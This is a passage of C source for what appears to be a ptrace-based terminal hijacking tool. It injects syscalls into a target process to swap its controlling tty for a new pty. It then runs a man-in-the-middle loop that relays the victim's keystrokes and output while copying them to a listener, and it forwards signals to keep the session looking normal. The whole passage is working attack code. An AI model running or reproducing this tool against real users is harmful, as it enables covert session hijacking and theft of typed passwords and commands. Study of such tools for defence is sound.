ptrace_do_sig_ignore(target, SIGHUP); 227 | ptrace_do_sig_ignore(target, SIGCONT); 228 | 229 | retval = (int) ptrace_do_syscall(target, __NR_ioctl, target_fds[i], TIOCNOTTY, 0, 0, 0, 0); 230 | if(errno){ 231 | TRACE("[-] ptrace_do_syscall(%lx, %d, %d, %d, %d, %d, %d, %d)", \ 232 | (unsigned long) target, __NR_ioctl, target_fds[i], TIOCNOTTY, 0, 0, 0, 0); 233 | ptrace_error = 1; 234 | goto CLEAN_UP; 235 | }else if(retval < 0){ 236 | TRACE("[-] remote ioctl(%d, %d)", target_fds[i], TIOCNOTTY); 237 | ptrace_error = 1; 238 | goto CLEAN_UP; 239 | } 240 | 241 | /* Now set original tty as our ctty in the local context. */ 242 | if((retval = ioctl(original_tty_fd, TIOCSCTTY, 1)) == -1){ 243 | TRACE("[-] ioctl(%d, %d, %d)", original_tty_fd, TIOCSCTTY, 1); 244 | ptrace_error = 1; 245 | goto CLEAN_UP; 246 | } 247 | } 248 | 249 | retval = (int) ptrace_do_syscall(target, __NR_close, target_fds[i], 0, 0, 0, 0, 0); 250 | if(errno){ 251 | TRACE("[-] ptrace_do_syscall(%lx, %d, %d, %d, %d, %d, %d, %d)", \ 252 | (unsigned long) target, __NR_close, target_fds[i], 0, 0, 0, 0, 0); 253 | ptrace_error = 1; 254 | goto CLEAN_UP; 255 | }else if(retval < 0){ 256 | TRACE("[-] remote close(%d)", target_fds[i]); 257 | ptrace_error = 1; 258 | goto CLEAN_UP; 259 | } 260 | } 261 | 262 | if((remote_scratch = (char *) ptrace_do_malloc(target, READLINE_BUFFER_LEN)) == NULL){ 263 | TRACE("[-] ptrace_do_malloc(%lx, %d)", \ 264 | (unsigned long) target, READLINE_BUFFER_LEN); 265 | ptrace_error = 1; 266 | goto CLEAN_UP; 267 | } 268 | memset(remote_scratch, 0, READLINE_BUFFER_LEN); 269 | 270 | if(!(tmp_ptr = ptsname(new_tty_fd))){ 271 | TRACE("[-] ptsname(%d)", new_tty_fd); 272 | exit(-1); 273 | } 274 | 275 | // If we are running as root, make sure to chmod the new tty to the match the old one. 276 | if(!getuid()){ 277 | if((retval = chown(tmp_ptr, tty_info.st_uid, -1)) == -1){ 278 | TRACE("[-] chown(%s, %d, %d)", tmp_ptr, tty_info.st_uid, -1); 279 | exit(-1); 280 | } 281 | } 282 | 283 | memcpy(remote_scratch, tmp_ptr, strlen(tmp_ptr)); 284 | 285 | if((remote_addr = ptrace_do_push_mem(target, remote_scratch)) == NULL){ 286 | TRACE("[-] ptrace_do_push_mem(%lx, %lx)", \ 287 | (unsigned long) target, (unsigned long) remote_scratch); 288 | ptrace_error = 1; 289 | goto CLEAN_UP; 290 | } 291 | 292 | retval = (int) ptrace_do_syscall(target, __NR_open, (unsigned long) remote_addr, O_RDWR, 0, 0, 0, 0); 293 | if(errno){ 294 | TRACE("[-] ptrace_do_syscall(%lx, %d, %lx, %d, %d, %d, %d, %d)", \ 295 | (unsigned long) target, __NR_open, (unsigned long) remote_addr, O_RDWR, 0, 0, 0, 0); 296 | ptrace_error = 1; 297 | goto CLEAN_UP; 298 | }else if(retval < 0){ 299 | TRACE("[-] remote open(%lx, %d)", (unsigned long) remote_addr, O_RDWR); 300 | ptrace_error = 1; 301 | goto CLEAN_UP; 302 | } 303 | tmp_fd = retval; 304 | 305 | tmp_flag = 0; 306 | for(i = 0; i < target_fd_count; i++){ 307 | 308 | if(target_fds[i] == tmp_fd){ 309 | tmp_flag = 1; 310 | }else{ 311 | 312 | retval = (int) ptrace_do_syscall(target, __NR_dup2, tmp_fd, target_fds[i], 0, 0, 0, 0); 313 | if(errno){ 314 | TRACE("[-] ptrace_do_syscall(%lx, %d, %d, %d, %d, %d, %d, %d)", \ 315 | (unsigned long) target, __NR_dup2, tmp_fd, target_fds[i], 0, 0, 0, 0); 316 | ptrace_error = 1; 317 | goto CLEAN_UP; 318 | }else if(retval < 0){ 319 | TRACE("[-] remote dup2(%d, %d)", tmp_fd, target_fds[i]); 320 | ptrace_error = 1; 321 | goto CLEAN_UP; 322 | } 323 | } 324 | } 325 | 326 | if(!tmp_flag){ 327 | retval = (int) ptrace_do_syscall(target, __NR_close, tmp_fd, 0, 0, 0, 0, 0); 328 | if(errno){ 329 | TRACE("[-] ptrace_do_syscall(%lx, %d, %d, %d, %d, %d, %d, %d)", \ 330 | (unsigned long) target, __NR_close, tmp_fd, 0, 0, 0, 0, 0); 331 | ptrace_error = 1; 332 | goto CLEAN_UP; 333 | }else if(retval < 0){ 334 | TRACE("[-] remote close(%d)", tmp_fd); 335 | ptrace_error = 1; 336 | goto CLEAN_UP; 337 | } 338 | } 339 | 340 | 341 | CLEAN_UP: 342 | ptrace_do_cleanup(target); 343 | 344 | if(ptrace_error){ 345 | TRACE("[-] Fatal error from ptrace_do. Quitting."); 346 | } 347 | 348 | 349 | /************************************************** 350 | * Set the original tty to raw mode. 351 | **************************************************/ 352 | memcpy(&new_termios_attrs, &saved_termios_attrs, sizeof(struct termios)); 353 | 354 | new_termios_attrs.c_lflag &= ~(ECHO|ICANON|IEXTEN|ISIG); 355 | new_termios_attrs.c_iflag &= ~(BRKINT|ICRNL|INPCK|ISTRIP|IXON); 356 | new_termios_attrs.c_cflag &= ~(CSIZE|PARENB); 357 | new_termios_attrs.c_cflag |= CS8; 358 | new_termios_attrs.c_oflag &= ~(OPOST); 359 | 360 | new_termios_attrs.c_cc[VMIN] = 1; 361 | new_termios_attrs.c_cc[VTIME] = 0; 362 | 363 | if((retval = tcsetattr(original_tty_fd, TCSANOW, &new_termios_attrs)) == -1){ 364 | TRACE("[-] tcsetattr(%d, TCSANOW, %lx)", \ 365 | original_tty_fd, (unsigned long) &new_termios_attrs); 366 | exit(-1); 367 | } 368 | 369 | 370 | /************************************************** 371 | * Set the signals for appropriate mitm handling. * 372 | **************************************************/ 373 | 374 | memset(&act, 0, sizeof(act)); 375 | memset(&oldact, 0, sizeof(oldact)); 376 | act.sa_handler = signal_handler; 377 | 378 | if((retval = sigaction(SIGHUP, &act, &oldact)) == -1){ 379 | fprintf(stderr, "%s: sigaction(%d, %lx, %lx): %s\n", \ 380 | program_invocation_short_name, \ 381 | SIGHUP, (unsigned long) &act, (unsigned long) &oldact, \ 382 | strerror(errno)); 383 | retcode = -errno; 384 | goto RESET_TERM; 385 | } 386 | if((retval = sigaction(SIGINT, &act, NULL)) == -1){ 387 | fprintf(stderr, "%s: sigaction(%d, %lx, %p): %s\n", \ 388 | program_invocation_short_name, \ 389 | SIGINT, (unsigned long) &act, NULL, \ 390 | strerror(errno)); 391 | retcode = -errno; 392 | goto RESET_TERM; 393 | } 394 | if((retval = sigaction(SIGQUIT, &act, NULL)) == -1){ 395 | fprintf(stderr, "%s: sigaction(%d, %lx, %p): %s\n", \ 396 | program_invocation_short_name, \ 397 | SIGQUIT, (unsigned long) &act, NULL, \ 398 | strerror(errno)); 399 | retcode = -errno; 400 | goto RESET_TERM; 401 | } 402 | if((retval = sigaction(SIGTSTP, &act, NULL)) == -1){ 403 | fprintf(stderr, "%s: sigaction(%d, %lx, %p): %s\n", \ 404 | program_invocation_short_name, \ 405 | SIGTSTP, (unsigned long) &act, NULL, \ 406 | strerror(errno)); 407 | retcode = -errno; 408 | goto RESET_TERM; 409 | } 410 | if((retval = sigaction(SIGWINCH, &act, NULL)) == -1){ 411 | fprintf(stderr, "%s: sigaction(%d, %lx, %p: %s)", \ 412 | program_invocation_short_name, \ 413 | SIGWINCH, (unsigned long) &act, NULL, \ 414 | strerror(errno)); 415 | retcode = -errno; 416 | goto RESET_TERM; 417 | } 418 | 419 | /* 420 | * The current TIOCGWINSZ for the new terminal will be incorrect at this point. 421 | * Lets force an initial SIGWINCH to ensure it gets set appropriately. 422 | */ 423 | if((retval = ioctl(original_tty_fd, TIOCGWINSZ, &argp)) == -1){ 424 | fprintf(stderr, "%s: ioctl(%d, %d, %lx): %s\n", \ 425 | program_invocation_short_name, \ 426 | original_tty_fd, TIOCGWINSZ, (unsigned long) &argp, \ 427 | strerror(errno)); 428 | retcode = -errno; 429 | goto RESET_TERM; 430 | } 431 | 432 | if((retval = ioctl(new_tty_fd, TIOCSWINSZ, &argp)) == -1){ 433 | fprintf(stderr, "%s: ioctl(%d, %d, %lx): %s\n", \ 434 | program_invocation_short_name, \ 435 | original_tty_fd, TIOCGWINSZ, (unsigned long) &argp, \ 436 | strerror(errno)); 437 | retcode = -errno; 438 | goto RESET_TERM; 439 | } 440 | 441 | if((retval = kill(-target_pid, SIGWINCH)) == -1){ 442 | fprintf(stderr, "%s: kill(%d, %d): %s\n", \ 443 | program_invocation_short_name, \ 444 | -target_pid, SIGWINCH, \ 445 | strerror(errno)); 446 | retcode = -errno; 447 | goto RESET_TERM; 448 | } 449 | 450 | 451 | /****************************** 452 | * Mitm the terminal traffic. * 453 | ******************************/ 454 | 455 | fd_max = (new_tty_fd > original_tty_fd) ? new_tty_fd : original_tty_fd; 456 | char_read = '\r'; 457 | 458 | while(1){ 459 | FD_ZERO(&fd_select); 460 | FD_SET(new_tty_fd, &fd_select); 461 | FD_SET(original_tty_fd, &fd_select); 462 | 463 | if(((retval = select(fd_max + 1, &fd_select, NULL, NULL, NULL)) == -1) && !sig_found){ 464 | fprintf(stderr, "%s: select(%d, %lx, %p, %p, %p): %s\n", \ 465 | program_invocation_short_name, \ 466 | fd_max + 1, (unsigned long) &fd_select, NULL, NULL, NULL, \ 467 | strerror(errno)); 468 | retcode = -errno; 469 | goto RESET_TERM; 470 | } 471 | 472 | if(sig_found){ 473 | 474 | /* Minimize the risk of more signals being delivered while we are already handling signals. */ 475 | current_sig = sig_found; 476 | sig_found = 0; 477 | 478 | switch(current_sig){ 479 | 480 | /* 481 | * Signals we want to handle: 482 | * SIGHUP -> Send SIGHUP to the target session, restore our SIGHUP to default, then resend to ourselves. 483 | * SIGINT -> Send SIGINT to the current target foreground job. 484 | * SIGQUIT -> Send SIGQUIT to the current target foreground job. 485 | * SIGTSTP -> Send SIGTSTP to the current target foreground job. 486 | * SIGWINCH -> Grab TIOCGWINSZ from old tty. Set TIOCSWINSZ for new tty. Send SIGWINCH to the current target session. 487 | */ 488 | case SIGHUP: 489 | 490 | if((retval = kill(-target_pid, current_sig)) == -1){ 491 | fprintf(stderr, "%s: kill(%d, %d): %s\n", \ 492 | program_invocation_short_name, \ 493 | -target_pid, current_sig, \ 494 | strerror(errno)); 495 | retcode = -errno; 496 | goto RESET_TERM; 497 | } 498 | 499 | if((retval = sigaction(current_sig, &oldact, NULL)) == -1){ 500 | fprintf(stderr, "%s: sigaction(%d, %lx, %p): %s\n", \ 501 | program_invocation_short_name, \ 502 | current_sig, (unsigned long) &oldact, NULL, \ 503 | strerror(errno)); 504 | retcode = -errno; 505 | goto RESET_TERM; 506 | } 507 | 508 | if((retval = raise(current_sig)) != 0){ 509 | fprintf(stderr, "%s: raise(%d): %s\n", \ 510 | program_invocation_short_name, \ 511 | current_sig, \ 512 | strerror(errno)); 513 | retcode = -errno; 514 | goto RESET_TERM; 515 | } 516 | break; 517 | 518 | case SIGINT: 519 | case SIGQUIT: 520 | case SIGTSTP: 521 | 522 | if((sig_pid = tcgetpgrp(new_tty_fd)) == -1){ 523 | fprintf(stderr, "%s: tcgetpgrp(%d): %s\n", \ 524 | program_invocation_short_name, \ 525 | new_tty_fd, \ 526 | strerror(errno)); 527 | retcode = -errno; 528 | goto RESET_TERM; 529 | } 530 | 531 | if((retval = kill(-sig_pid, current_sig)) == -1){ 532 | fprintf(stderr, "%s: kill(%d, %d): %s", \ 533 | program_invocation_short_name, \ 534 | sig_pid, current_sig, \ 535 | strerror(errno)); 536 | retcode = -errno; 537 | goto RESET_TERM; 538 | } 539 | break; 540 | 541 | case SIGWINCH: 542 | if((retval = ioctl(original_tty_fd, TIOCGWINSZ, &argp)) == -1){ 543 | fprintf(stderr, "%s: ioctl(%d, %d, %lx): %s\n", \ 544 | program_invocation_short_name, \ 545 | original_tty_fd, TIOCGWINSZ, (unsigned long) &argp, \ 546 | strerror(errno)); 547 | retcode = -errno; 548 | goto RESET_TERM; 549 | } 550 | 551 | if((retval = ioctl(new_tty_fd, TIOCSWINSZ, &argp)) == -1){ 552 | fprintf(stderr, "%s: ioctl(%d, %d, %lx): %s\n", \ 553 | program_invocation_short_name, \ 554 | original_tty_fd, TIOCSWINSZ, (unsigned long) &argp, \ 555 | strerror(errno)); 556 | retcode = -errno; 557 | goto RESET_TERM; 558 | } 559 | 560 | if((retval = kill(-target_pid, current_sig)) == -1){ 561 | fprintf(stderr, "%s: kill(%d, %d): %s", \ 562 | program_invocation_short_name, \ 563 | -target_pid, current_sig, \ 564 | strerror(errno)); 565 | retcode = -errno; 566 | goto RESET_TERM; 567 | } 568 | break; 569 | 570 | default: 571 | fprintf(stderr, "%s: Undefined signal found: %d", \ 572 | program_invocation_short_name, \ 573 | current_sig); 574 | retcode = -errno; 575 | goto RESET_TERM; 576 | } 577 | 578 | current_sig = 0; 579 | 580 | /* 581 | * From here on out, we pass chars back and forth, while copying them off 582 | * to the remote listener. The "char_read" hack is a cheap way to watch for 583 | * a "no echo" situation. (Bash keeps its own state for the tty and lies to 584 | * the user about echo on vs echo off. On the back end it's always raw mode. 585 | * I suspect this is a natural result of using the GNU readline library.) 586 | */ 587 | }else if(FD_ISSET(original_tty_fd, &fd_select)){ 588 | 589 | memset(scratch, 0, sizeof(scratch)); 590 | if((retval = read(original_tty_fd, scratch, sizeof(scratch))) == -1){ 591 | fprintf(stderr, "%s: read(%d, %lx, %d): %s\n", \ 592 | program_invocation_short_name, \ 593 | original_tty_fd, (unsigned long) scratch, (int) sizeof(scratch), \ 594 | strerror(errno)); 595 | retcode = -errno; 596 | goto RESET_TERM; 597 | } 598 | bytes_read = (retval == -1) ? 0 : retval; 599 | 600 | if((retval = write(new_tty_fd, scratch, bytes_read)) == -1){ 601 | fprintf(stderr, "%s: write(%d, %lx, %d): %s\n", \ 602 | program_invocation_short_name, \ 603 | new_tty_fd, (unsigned long) scratch, bytes_read, \ 604 | strerror(errno)); 605 | retcode = -errno; 606 | goto RESET_TERM; 607 | } 608 | 609 | if(!char_read){ 610 | if(bytes_read == 1){ 611 | char_read = scratch[0]; 612 | } 613 | }else{ 614 | if(bytes_read == 1){ 615 | if(write(STDOUT_FILENO, &char_read, 1) == -1){ 616 | fprintf(stderr, "%s: write(%d, %lx, %d): %s\n", \ 617 | program_invocation_short_name, \ 618 | STDOUT_FILENO, (unsigned long) &char_read, 1, \ 619 | strerror(errno)); 620 | retcode = -errno; 621 | goto RESET_TERM; 622 | } 623 | char_read = scratch[0]; 624 | } 625 | } 626 | 627 | }else if(FD_ISSET(new_tty_fd, &fd_select)){ 628 | 629 | char_read = '\0'; 630 | memset(scratch, 0, sizeof(scratch)); 631 | errno = 0; 632 | if(((retval = read(new_tty_fd, scratch, sizeof(scratch))) == -1) && (errno != EIO)){ 633 | fprintf(stderr, "%s: read(%d, %lx, %d): %s\n", \ 634 | program_invocation_short_name, \ 635 | new_tty_fd, (unsigned long) scratch, (int) sizeof(scratch), \ 636 | strerror(errno)); 637 | retcode = -errno; 638 | goto RESET_TERM; 639 | }else if(!retval || errno == EIO){ 640 | retcode = 0; 641 | goto RESET_TERM; 642 | } 643 | bytes_read = (retval == -1) ? 0 : retval; 644 | 645 | if((retval = write(original_tty_fd, scratch, bytes_read)) == -1){ 646 | fprintf(stderr, "%s: write(%d, %lx, %d): %s\n", \ 647 | program_invocation_short_name, \ 648 | original_tty_fd, (unsigned long) &char_read, bytes_read, \ 649 | strerror(errno)); 650 | retcode = -errno; 651 | goto RESET_TERM; 652 | } 653 | 654 | if(write(STDOUT_FILENO, scratch, bytes_read) == -1){ 655 | fprintf(stderr, "%s: write(%d, %lx, %d): %s\n", \ 656 | program_invocation_short_name, \ 657 | STDOUT_FILENO, (unsigned long) &char_read, 1, \ 658 | strerror(errno)); 659 | retcode = -errno; 660 | goto RESET_TERM; 661 | } 662 | } 663 | } 664 | 665 | RESET_TERM: 666 | tcsetattr(original_tty_fd, TCSANOW, &saved_termios_attrs); 667 | kill(0, SIGKILL); 668 | return(retcode); 669 | } 670 | --------------------------------------------------------------------------------